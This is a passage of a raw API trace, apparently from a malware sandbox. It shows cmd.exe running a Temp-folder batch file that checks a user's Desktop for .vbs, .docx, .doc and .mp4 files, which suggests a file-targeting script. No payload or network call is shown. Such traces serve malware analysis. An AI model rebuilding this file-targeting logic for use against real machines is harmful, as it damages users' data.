lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0038.598] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.598] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.599] GetLastError () returned 0x2 [0038.599] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.599] GetLastError () returned 0x6 [0038.599] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.599] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.599] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.599] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.599] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.599] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.599] SetConsoleInputExeNameW () returned 0x1 [0038.599] GetConsoleOutputCP () returned 0x1b5 [0038.599] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.599] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.600] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.600] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.600] GetProcessHeap () returned 0x4e0000 [0038.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.601] GetProcessHeap () returned 0x4e0000 [0038.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.601] GetProcessHeap () returned 0x4e0000 [0038.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.601] GetProcessHeap () returned 0x4e0000 [0038.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.601] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0038.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.601] GetFileType (hFile=0x74) returned 0x1 [0038.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.601] GetProcessHeap () returned 0x4e0000 [0038.601] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.601] GetProcessHeap () returned 0x4e0000 [0038.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.601] _tell (_FileHandle=3) returned 214 [0038.601] _close (_FileHandle=3) returned 0 [0038.602] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.602] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.602] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0038.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.602] GetFileType (hFile=0x74) returned 0x1 [0038.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.602] GetProcessHeap () returned 0x4e0000 [0038.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.602] GetProcessHeap () returned 0x4e0000 [0038.602] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.602] GetProcessHeap () returned 0x4e0000 [0038.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.602] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.603] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.603] GetProcessHeap () returned 0x4e0000 [0038.603] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.603] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.603] GetProcessHeap () returned 0x4e0000 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.603] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.603] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0038.603] GetProcessHeap () returned 0x4e0000 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0038.603] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0038.603] GetProcessHeap () returned 0x4e0000 [0038.603] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.603] GetProcessHeap () returned 0x4e0000 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.603] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0038.604] _tell (_FileHandle=3) returned 241 [0038.604] _close (_FileHandle=3) returned 0 [0038.604] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0038.604] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.604] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.604] GetLastError () returned 0x2 [0038.604] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.604] GetLastError () returned 0x6 [0038.604] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.604] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.605] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.605] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.605] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.605] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.605] SetConsoleInputExeNameW () returned 0x1 [0038.605] GetConsoleOutputCP () returned 0x1b5 [0038.605] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.605] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.605] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.605] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.606] GetProcessHeap () returned 0x4e0000 [0038.606] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.606] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0038.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.607] GetFileType (hFile=0x74) returned 0x1 [0038.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.607] GetProcessHeap () returned 0x4e0000 [0038.607] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.607] GetProcessHeap () returned 0x4e0000 [0038.607] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.607] _tell (_FileHandle=3) returned 243 [0038.607] _close (_FileHandle=3) returned 0 [0038.607] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.607] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.607] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0038.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.608] GetFileType (hFile=0x74) returned 0x1 [0038.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.608] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.608] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.608] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.608] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.608] GetProcessHeap () returned 0x4e0000 [0038.608] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.609] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.609] GetProcessHeap () returned 0x4e0000 [0038.609] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.609] GetProcessHeap () returned 0x4e0000 [0038.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.609] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.609] _tell (_FileHandle=3) returned 268 [0038.609] _close (_FileHandle=3) returned 0 [0038.610] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0038.610] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.610] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.610] GetLastError () returned 0x2 [0038.610] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.610] GetLastError () returned 0x6 [0038.610] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.610] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.610] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.610] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.610] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.610] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.611] SetConsoleInputExeNameW () returned 0x1 [0038.611] GetConsoleOutputCP () returned 0x1b5 [0038.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.611] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.611] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.611] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.611] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.611] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.611] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.611] GetProcessHeap () returned 0x4e0000 [0038.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.612] GetProcessHeap () returned 0x4e0000 [0038.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.612] GetProcessHeap () returned 0x4e0000 [0038.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.612] GetProcessHeap () returned 0x4e0000 [0038.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.612] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.612] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.612] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.612] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0038.612] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.612] GetFileType (hFile=0x74) returned 0x1 [0038.612] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.612] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.612] GetProcessHeap () returned 0x4e0000 [0038.612] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.612] GetProcessHeap () returned 0x4e0000 [0038.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.612] _tell (_FileHandle=3) returned 270 [0038.612] _close (_FileHandle=3) returned 0 [0038.613] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.613] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0038.613] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0038.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.613] GetFileType (hFile=0x74) returned 0x1 [0038.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.613] GetProcessHeap () returned 0x4e0000 [0038.613] 